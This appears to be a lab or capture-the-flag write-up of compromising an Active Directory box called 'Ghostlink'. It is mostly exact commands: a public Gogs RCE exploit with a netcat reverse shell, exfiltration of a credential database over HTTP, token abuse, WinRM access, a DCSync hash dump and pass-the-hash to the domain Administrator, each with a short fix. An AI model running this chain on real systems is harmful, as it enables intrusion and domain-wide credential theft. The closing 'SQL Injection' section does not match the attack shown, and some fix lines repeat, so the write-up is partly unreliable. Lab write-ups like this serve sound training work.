Ghostlink
Summary
I enumerated a hidden virtual-host running a vulnerable Gogs source-control server, exploited a critical unauthenticated remote-code-execution flaw (CVE-2025-8110) to land an OS shell as the application's 'git' service account, then stole a world-readable SQLite credential database. Plaintext credentials recovered from that database gave API access to private git repositories where a second domain user's password was [REDACTED: recovered credential] in code. Those credentials opened a WinRM session, after which an Active Directory privilege misconfiguration allowed me to replicate every domain password hash. The domain Administrator's NTLM hash was passed directly to SMB to achieve full domain compromise.
Attack path — how the box was taken
Exact commands 3
rustscan -a $TARGET --ulimit 5000 -- -sV -sC -Pn -oN nmap_initial.txtffuf -u http://$TARGET -H 'Host: FUZZ.Ghostlink.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 400,404echo '$TARGET Ghostlink.htb gpz-op26-toolkits.Ghostlink.htb' >> /etc/hostsExact commands 3
git clone --depth 1 https://github.com/kayl22/cve-2025-8110-GOGS-RCE.git /home/kali/lab/current/Ghostlink/cve-2025-8110-GOGS-RCEnc -lvnp 4444python3 /home/kali/lab/current/Ghostlink/cve-2025-8110-GOGS-RCE/exploit.py --url http://$TARGET --lhost $INTERNAL_TARGET --lport 4444FixPatch or replace the vulnerable Gogs instance immediatelyCritical
Exact commands 4
ls -la /opt/gogs/data/gogs.dbcp /opt/gogs/data/gogs.db /tmp/gogs.db && python3 -m http.server 8888wget http://$TARGET:8888/gogs.db -O /home/kali/lab/current/Ghostlink/gogs.dbsqlite3 /home/kali/lab/current/Ghostlink/gogs.db "SELECT name, passwd, salt, email FROM user;"FixRestrict file permissions on the Gogs application databaseHigh
Exact commands 5
curl -s -X POST 'http://$TARGET/api/v1/users/vroth/tokens' -u 'vroth:[REDACTED: recovered credential]' -H 'Content-Type: application/json' -d '{"name":"pentest"}' | jq -r '.sha1'curl -s -H 'Authorization: token [REDACTED: protected value]' 'http://$TARGET/api/v1/repos/search?limit=50' | jq -r '.data[].full_name'git clone http://$TARGET:[REDACTED: recovered credential]@gpz-op26-toolkits.Ghostlink.htb/vroth/hook282 /home/kali/lab/current/Ghostlink/hook282grep -rEi 'password|passwd|secret|cred|u47Y' /home/kali/lab/current/Ghostlink/hook282/git -C /home/kali/lab/current/Ghostlink/hook282 log -p | grep -Ei 'password|u47Y'FixRemove credentials from source code and enforce pre-commit secret scanningHigh
Exact commands 3
nxc winrm $TARGET -u nvirelli -p '[REDACTED: recovered credential]'evil-winrm -i $TARGET -u nvirelli -p '[REDACTED: recovered credential]'type C:\Users\nvirelli\Desktop\user.txtFixRemove credentials from source code and enforce pre-commit secret scanningHigh
Exact commands 2
bloodhound-python -u nvirelli -p '[REDACTED: recovered credential]' -d Ghostlink.htb -dc $TARGET -c All --zipimpacket-secretsdump Ghostlink.htb/nvirelli:'[REDACTED: recovered credential]'@$TARGETFixRemove [REDACTED: recovered credential] / directory-replication rights from non-privileged accountsCritical
Exact commands 3
nxc smb $TARGET -u Administrator -H '[REDACTED: protected value]'printf 'use C$\ncd Users\\Administrator\\Desktop\nget root.txt\nexit\n' | impacket-smbclient -hashes ':[REDACTED: protected value]' 'Ghostlink.htb/Administrator@$TARGET' -no-passevil-winrm -i $TARGET -u Administrator -H '[REDACTED: protected value]'Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Findings
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-04 22:43:06Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: Ghostlink.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: Ghostlink.htb, Site: Default-First-Site-Name) |
| 1883/tcp | mqtt |
| 2179/tcp | vmrdp? |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: Ghostlink.htb, Site: Default-First-Site-Name) |
| 3269/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: Ghostlink.htb, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | adws? |
| 49664/tcp | unknown |
| 49677/tcp | unknown |
| 49678/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 49679/tcp | unknown |
| 49680/tcp | unknown |
| 49898/tcp | unknown |
| 49915/tcp | unknown |
| 51140/tcp | unknown |